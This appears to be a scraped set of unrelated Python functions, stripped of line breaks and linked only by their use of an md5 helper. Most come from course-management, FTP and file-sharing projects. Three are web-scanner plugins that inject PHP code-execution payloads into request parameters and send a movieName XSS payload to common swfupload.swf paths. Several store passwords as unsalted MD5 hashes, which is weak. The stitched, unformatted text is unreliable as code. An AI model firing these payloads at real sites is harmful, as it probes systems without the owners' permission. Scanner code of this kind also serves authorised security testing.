def login_interface(user_name, user_pwd, role): obj = None # 校验身份 if role == 'admin': # 判断对象是否存在 obj = models.Admin.select_obj(user_name) user_pwd = common.md5(user_pwd) # 如果不存在,失败,存在就校验密码 # 校验身份 elif role == 'student': # 判断对象是否存在 obj = models.Student.select_obj(user_name) user_pwd = common.md5(user_pwd) # 如果不存在,失败,存在就校验密码 # 校验身份 elif role == 'teacher': # 判断对象是否存在 obj = models.Teacher.select_obj(user_name) user_pwd = common.md5(user_pwd) # 如果不存在,失败,存在就校验密码 if not obj: return False, '用户不存在,重新输入!' if obj.pwd == user_pwd: return True, '登录成功!' else: return False, '密码错误!'
def __init__(self, student_name, pwd): self.name = student_name self.pwd = common.md5(pwd) self.school = None self.course_list = [] self.score = {} self.save_obj()
def createAnnounce(startPosition): message = "ANNOUNCE\n" i = 0 myFiles = {} temp = 0 for files in variables.myFiles: myFiles[temp] = [files, variables.myFiles[files]["fileName"]] temp += 1 for i in range(startPosition, min(int(config.data["max_announce_lines"]) + startPosition, len(variables.myFiles))): filePath = config.data["shared_folder"] + "\\" + myFiles[i][1] tempMessage = ( myFiles[i][1] + "\t" + utils.getFileSize(filePath) + "\t" + utils.md5(filePath) + "\n") #Check if last line added passes the maximum datagram size, if it does then rollback that action if sys.getsizeof((message + tempMessage).encode()) > int(config.data["udp_dgram_max_size"]): i -= 1 break message += tempMessage #If all files were included on the announce return True if i == len(variables.myFiles) - 1: return True, startPosition, message startPosition = i + 1 return False, startPosition, message
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 post_hint = self.requests.post_hint post_data = self.requests.post_data p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc if method == 'POST': regx = 'Parse error: syntax error,.*?\sin\s' randint = random.randint(1, 256) verify_result = md5(str(randint).encode()) payloads = [ "print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\" ] if post_hint == POST_HINT.NORMAL: for k, v in post_data.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(post_data) for payload in payloads: if payload[0] == "p": data[k] = payload.format(randint) else: data[k] = v + payload.format(randint) r = requests.post(url, data=data, headers=headers) html1 = r.text if verify_result in html1: out.success(url, self.name, payload="{}:{}".format(k, data[k]), method=method, data=str(data), raw=r.raw) break if re.search(regx, html1, re.I | re.S | re.M): out.success(url, self.name, payload="{}:{}".format(k, data[k]), method=method, data=str(data), raw=r.raw) break
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc if method == 'GET': if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return regx = 'Parse error: syntax error,.*?\sin\s' randint = random.randint(1, 256) verify_result = md5(str(randint).encode()) payloads = [ "print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\" ] for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) for payload in payloads: if payload[0] == "p": data[k] = payload.format(randint) else: data[k] = v + payload.format(randint) url1 = prepare_url(netloc, params=data) r = requests.get(url1, headers=headers) html1 = r.text if verify_result in html1: out.success(url, self.name, payload="{}:{}".format(k, data[k])) break if re.search(regx, html1, re.I | re.S | re.M): out.success(url, self.name, payload="{}:{}".format(k, data[k])) break
def run(): while True: menu = template.START_MENU.format(menu1="[1] 启动服务", menu2="[2] 添加用户", menu3="[3] 删除用户", menu4="[4] 结束程序") print("\33[34;0m", menu, "\33[0m") num = str(input("请按编号选择:")).strip() if num == "1": ftpserver.process() elif num == "2": username = str(input("请输入用户名[输入q返回]:")).strip().lower() if username == 'q': continue new_user = Users(username) if not new_user.check_user(): password = common.inp_msg("设置初始密码[默认12345]: ", default=str(settings.USER_PASSWORD)) totalspace = common.inp_msg("设置磁盘配额[默认50M]: ", default=str(settings.HOME_QUOTA)) print("\n正在初始化用户,请稍等.........\n") new_user.password = common.md5(password) new_user.totalspace = int(totalspace) * 1024 * 1024 new_user.userspace = 0 new_user.create_user() if new_user.check_user(): print("\033[35;0m初始化成功!\033[0m\n") else: print("\033[35;0m初始化失败!\033[0m\n") else: print("\033[35;0m用户已经存在!\033[0m\n") continue elif num == "3": ret = dbapi.readall_sections() for x, y in enumerate(ret, 1): print("%s%s%s" % (x, ".", y)) inp = str(input("\33[35;0m请按序号选择[输入q|Q退出]:\33[0m")).strip().lower() if inp == "q": break user_ret = ret[int(inp) - 1] user = Users(user_ret) user.del_user() if not user.check_user(): print("\033[35;0m用户", [user_ret], "删除成功!", "\033[0m\n") else: print("\033[35;0m用户", [user_ret], "删除失败!", "\033[0m\n") elif num == "4": sys.exit() else: print("\033[35;0m无效选择,请重新选择!\033[0m\n")
def login(self): while True: username = str(input("请输入用户名:")).strip() password = str(input("请输入密码:")).strip() #对密码进行md5加密 password = common.md5(password) #登录认证 auth_status = self.check_auth(username,password) if auth_status == code.AUTH_SUCC: common.message(">>>>>>>登录成功","INFO") return True elif auth_status == code.AUTH_USER_ERROR: common.message(">>>>>>>用户名不存在","ERROR") return False else: common.message(">>>>>>>用户名或密码错误!","ERROR") return False
def create_md(): id = md5(str(time.time()) + str(random.randrange(0, 1000))) if request.method == "GET": # https://www.keycdn.com/blog/web-crawlers ua = request.headers.get('User-Agent').lower() if any(x in ua for x in ['bot', 'crawler', 'spider', 'archive', 'curl']): return 'not for spider', 403 new_with_example(id) return redirect(f"/md/{id}/edit") if request.method == "POST": md = request.stream.read().decode("utf8") mdir.save_md(id, md) return {"id": id} return get_response(405, "method not allowed", "application/json")
def auth(self): """用户登陆认证.""" if self.user_current_dir: return True # 涉及到交叉导入 from core import main # 收消息 auth_dic = self.receive_header() user_name = auth_dic.get('username') user_password = auth_dic.get('password') md5_password = common.md5('password', password=user_password) # print(user_name, user_password, md5_password) accounts = main.FTPServer.load_accounts() if user_name in accounts.sections(): if md5_password == accounts[user_name]['password']: self.send_header(status_code=100) self.username = user_name self.user_obj = accounts[user_name] self.user_obj['home'] = os.path.join(settings.USER_HOME_DIR, user_name) self.user_current_dir = self.user_obj['home'] # print('self.user_obj:', self.user_obj) # print("self.user_obj['home']:", self.user_obj['home']) self.residual_space_size = common.conversion_quota( self.user_obj['quota']) - common.get_size( self.user_obj['home']) breakpoint_resume_dir_path = os.path.join( self.user_obj['home'], '.upload') if not os.path.isdir(breakpoint_resume_dir_path): os.mkdir(breakpoint_resume_dir_path) self.breakpoint_resume = shelve.open( os.path.join(breakpoint_resume_dir_path, '.upload.shv')) self.unfinished_file_check() self.logger.info('#认证成功# ip:%s port:%s' % self.address) return True self.logger.info('#认证失败# ip:%s port:%s' % self.address) return False
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc domain = "{}://{}/".format(p.scheme, p.netloc) FileList = [ domain + 'common/swfupload/swfupload.swf', domain + 'adminsoft/js/swfupload.swf', domain + 'statics/js/swfupload/swfupload.swf', domain + 'images/swfupload/swfupload.swf', domain + 'js/upload/swfupload/swfupload.swf', domain + 'addons/theme/stv1/_static/js/swfupload/swfupload.swf', domain + 'admin/kindeditor/plugins/multiimage/images/swfupload.swf', domain + 'includes/js/upload.swf', domain + 'js/swfupload/swfupload.swf', domain + 'Plus/swfupload/swfupload/swfupload.swf', domain + 'e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf', domain + 'include/lib/js/uploadify/uploadify.swf', domain + 'lib/swf/swfupload.swf' ] md5_list = [ '3a1c6cc728dddc258091a601f28a9c12', '53fef78841c3fae1ee992ae324a51620', '4c2fc69dc91c885837ce55d03493a5f5', ] for payload in FileList: payload1 = payload + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22xss%22%29}}//" r = requests.get(payload1, headers=headers) if r.status_code == 200: md5_value = md5(r.content) if md5_value in md5_list: out.success(payload1, self.name)
def login_interface(recv_dict, conn): # 1.判断用户是否存在 username = recv_dict.get('username') # 1.判断用户是否存在 ---接收到--->[{}] 列表套字典 user_obj_list = models.User.orm_select(username=username) # 2.没有值--->用户不存在 if not user_obj_list: send_dict = {'flag': False, 'msg': '用户不存在'} # 1.用户存在的情况 else: user_obj = user_obj_list[0] # 2.判断密码是否正确 re_password = recv_dict.get('password') # 用户输入的密码 re_password = common.md5(re_password) mysql_password = user_obj.password # 数据库存的真正密码 # 密码正确 if re_password == mysql_password: addr = recv_dict.get('addr') mutex.acquire() # 加锁 # 用户登录成功后,获取session值 session = common.get_session() # 给session字典添加值 {地址:[session,用户id]}这样session值就是唯一 session_dict[addr] = [session, user_obj.u_id] mutex.release() # 释放锁 # 默认不是VIP is_vip = False if user_obj.is_vip: is_vip = True send_dict = { 'flag': True, 'msg': '登录成功!', 'session': session, 'is_vip': is_vip } # 密码不正确 else: send_dict = {'flag': False, 'msg': '密码错误!'} # 调用接口发送反馈信息字典 common.send_dict(send_dict, conn)
def add(self, netloc, plugin): """ 添加成功返回True,添加失败有重复返回False :param netloc: :param plugin: :return:bool """ ret = True if not (isinstance(netloc, str) and isinstance(plugin, str)): netloc = str(netloc) plugin = str(plugin) _ = "{}:{}".format(netloc, plugin) _ = md5(_.encode('utf-8')) self.lock.acquire() if _ in self.spider_list: ret = False else: self.spider_list.add(_) self.lock.release() return ret
def register_interface(recv_dict, conn): username = recv_dict.get('username') # 1.判断用户是否存在 ---接收到--->[{},{}] 列表套字典 user_obj_list = models.User.orm_select(username=username) # 2.有值--->用户存在 if user_obj_list: send_dict = {'flag': False, 'msg': '用户已存在'} # 3.没有值就注册 else: user_obj = models.User(username=username, password=common.md5(recv_dict.get('password')), user_type=recv_dict.get('user_type'), is_vip=0, register_time=datetime.datetime.now()) user_obj.orm_insert() send_dict = {'flag': True, 'msg': '注册成功!'} print(f'【{username}】用户注册成功!') # 调用公共方法发送数据到客户端 common.send_dict(send_dict, conn)
def _download(self, cmd_dic, resume_download=False): self.logger.info('#执行download命令# ip:%s port:%s' % self.address) file_path = self.verify_path(cmd_dic) if not file_path: # 999: '下载文件失败, 您要下载的文件路径不规范!', self.send_header(status_code=999) return if not os.path.isfile(file_path): # 998: '下载文件失败, 您要下载的文件路径不存在!', self.send_header(status_code=998) return # 通知可以开始下载 # 900: '准备开始下载文件!'. file_name = file_path.split(os.sep)[-1] file_size = os.path.getsize(file_path) file_md5 = common.md5('file', file_path) unfinished_file_size = cmd_dic.get('unfinished_file_size') if resume_download: # 950: '准备开始续传文件!', self.send_header(status_code=950, file_name=file_name, file_size=file_size, file_md5=file_md5) else: # 900: '准备开始下载文件!'. self.send_header(status_code=900, file_name=file_name, file_size=file_size, file_md5=file_md5) # 打开文件发送给客户端 with open(file_path, 'rb') as f: if resume_download: f.seek(unfinished_file_size) for line in f: self.request.sendall(line)
def telnetReceiver(): #Open socket for telnet connection serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serverSocket.bind((config.data["ip"], config.data["telnet_port"])) serverSocket.listen() print("Telnet socket started") while True: connectionSock, addr = serverSocket.accept() read = "" while read != "CLOSED" or read != "EXIT": read, remaining = utils.read_line(connectionSock, "") utils.println("Telnet (RECV): " + read) response = "" read = read[:-1] args = read.split(" ") if args[0] == "list": timeNow = int(round(time.time() * 1000)) for file in variables.availableFiles: #Filter available files, remove old ones variables.availableFiles[file]["servers"] = { k: v for (k, v) in variables.availableFiles[file] ["servers"].items() if timeNow - v <= 90000 } if len(variables.availableFiles[file]["servers"]) == 0: variables.availableFiles = { k: v for (k, v) in variables.availableFiles.items() if k != file } else: response += ( file + "\t" + variables.availableFiles[file]["fileSize"] + "\t" + str(variables.availableFiles[file]["fileNames"]) + "\n\r") if len(variables.availableFiles) == 0: response = "There are no files available to download" elif args[0] == "offer": path = config.data["shared_folder"] file = args[1] if os.path.isfile(path + "\\" + file): variables.myFiles[utils.md5(path + "\\" + file)] = { "fileName": file, "fileSize": utils.getFileSize(path + "\\" + file), } response = "File successfully shared" else: response = "File does not exists" elif args[0] == "offering": response = "" for file in variables.myFiles: response += (file + "\t" + variables.myFiles[file]["fileSize"] + "\t" + variables.myFiles[file]["fileName"] + "\n\r") if len(variables.myFiles) == 0: response = "Not sharing anything" elif args[0] == "share": path = config.data["shared_folder"] files = utils.listFolder(config.data["shared_folder"]) for file in files: variables.myFiles[utils.md5(path + "\\" + file)] = { "fileName": file, "fileSize": utils.getFileSize(path + "\\" + file), } response = "Now sharing all files in the folder" elif args[0] == "get": if args[1] not in variables.availableFiles: response = "Error 3 - Invalid code" else: startTime = int(round(time.time() * 1000)) variables.errorDownloading = "" x = threading.Thread(target=downloadHandler.startDownload, args=(args[1], )) x.start() x.join() if variables.errorDownloading == "": endTime = int(round(time.time() * 1000)) fileSize = int( variables.availableFiles[args[1]]["fileSize"]) fileName = variables.availableFiles[ args[1]]["fileNames"][0] path = config.data["shared_folder"] variables.myFiles[utils.md5( path + "\\" + fileName)] = { "fileName": fileName, "fileSize": utils.getFileSize(path + "\\" + fileName), } response = "File " + args[ 0] + " was downloaded at a rate of " + str( int(fileSize / ((endTime - startTime) / 1000))) + " Bps" else: response = "\nError 4: " + variables.errorDownloading else: response = "" connectionSock.sendall((response + "\n\r").encode()) connectionSock.shutdown(socket.SHUT_RDWR) connectionSock.close() serverSocket.close()
def _upload(self, cmd_dic, resume_upload=False): """客户端 800: '你可以上传文件, 在您上传之前, 您的目前空间:%s!', 801: '上传文件成功, 您上传完后的剩余空间:%s!', 850: '您的还有为上传完的文件, 是否继续上传!', 851: '检测您不存在未上传完成的文件!', 852: '您不能进行续传, 因为该文件是完整文件!', 860: '您正在继续上传文件, 在您继传之前, 您的目前空间:%s!', 869: '您选择文件路径中没有要续传的文件, 请核对!', 894: '您不需要再对本路径下上传文件, 该文件在您的当前路径下已经存在!', 895: '上传文件失败, md5效验不一致, 部分文件内容在网络中丢失, 请重新上传!', 896: '上传文件失败, 您的空间不足, 您的上传虚假文件大小, 您的剩余空间:%s!', 897: '上传文件失败, 您的空间不足, 您的剩余空间:%s!', 898: '上传文件失败, 上传命令不规范!', 899: '上传文件必须要有文件的md5值以及文件名!', """ # print('_upload:', cmd_dic) if not resume_upload: self.logger.info('#执行upload命令# ip:%s port:%s' % self.address) # 效验: 897, 898, 899 _path, _file_md5, _file_name, _file_size = cmd_dic.get( 'path'), cmd_dic.get('file_md5'), cmd_dic.get( 'file_name'), cmd_dic.get('file_size') file_path = self.verify_upload_action(cmd_dic, _path=_path, _file_md5=_file_md5, _file_name=_file_name, _file_size=_file_size) if resume_upload: # 断点续传时执行 if not file_path or file_path not in self.breakpoint_resume.keys(): # 869: '您选择文件路径中没有要续传的文件, 请核对!', self.send_header(status_code=869) return # 找到之前未穿完的文件名 unfinished_file_path = self.breakpoint_resume[file_path][ 'unfinished_file_path'] already_upload_size = os.path.getsize(unfinished_file_path) # 效验成功通知续传信号 # 860: '您正在继续上传文件, 在您继传之前, 您的目前空间:%s!', self.send_header(status_code=860, residual_space_size=self.residual_space_size, already_upload_size=already_upload_size) total_size = _file_size - already_upload_size mode = 'a' else: # 正常上传执行 if not file_path: return # 判断用户上传的文件是否重复 if os.path.isfile(file_path): # 894: '您不需要再对本路径下上传文件, 该文件在您的当前路径下已经存在!', self.send_header(status_code=894) return else: unfinished_file_path = '%s.%s' % (file_path, 'upload') # 效验成功通知上传信号: 800 # 800: '你可以上传文件, 在您上传之前, 您的目前空间:%s!', self.send_header(status_code=800, residual_space_size=self.residual_space_size) total_size = _file_size mode = 'w' # 记录断点的功能: 在服务端用户的路径, 记录文件大小, 加上后缀的路径, 文件名 # 或再次为未传完的文件记录断点 self.breakpoint_resume[file_path] = { 'file_size': _file_size, 'unfinished_file_path': unfinished_file_path, 'file_name': _file_name } # 开始接收文件 receive_size = 0 with open(unfinished_file_path, '%sb' % mode) as f: while receive_size < total_size: data_bytes = self.request.recv(self.max_packet_size) receive_size += len(data_bytes) f.write(data_bytes) # 接收完毕, 把后缀改成用户上传的文件名 os.rename(unfinished_file_path, file_path) # 删除记录断点的功能 del self.breakpoint_resume[file_path] # 801, 895, 896 # 效验用户端发送的md5于本次上传完毕的md5值 upload_file_md5 = common.md5(encryption_type='file', path=file_path) if upload_file_md5 != _file_md5: # print('def _upload ===> upload_file_md5:%s, _file_md5:%s' % (upload_file_md5, _file_md5)) # 895: '上传文件失败, md5效验不一致, 部分文件内容在网络中丢失, 请重新上传!', self.send_header(status_code=895) os.remove(file_path) return # 安全性问题: 再次判断用户是否以假的文件大小来跳出服务端限制的配额 if receive_size > self.residual_space_size: # 896: '上传文件失败, 您的空间不足, 您的上传虚假文件大小, 您的剩余空间:%s!', self.send_header(status_code=896, residual_space_size=self.residual_space_size) os.remove(file_path) return else: self.residual_space_size = self.residual_space_size - receive_size # print('def _upload ===> receive_size:', receive_size) # print('def _upload ===> os.path.getsize(file_path)', os.path.getsize('%s' % file_path)) # 801: '上传文件成功, 您上传完后的剩余空间:%s!', self.send_header(status_code=801, residual_space_size=self.residual_space_size)
def __init__(self, name, pwd): self.name = name self.pwd = common.md5(pwd)
def __init__(self, teacher_name, pwd): self.name = teacher_name self.pwd = common.md5(pwd) self.course_list = []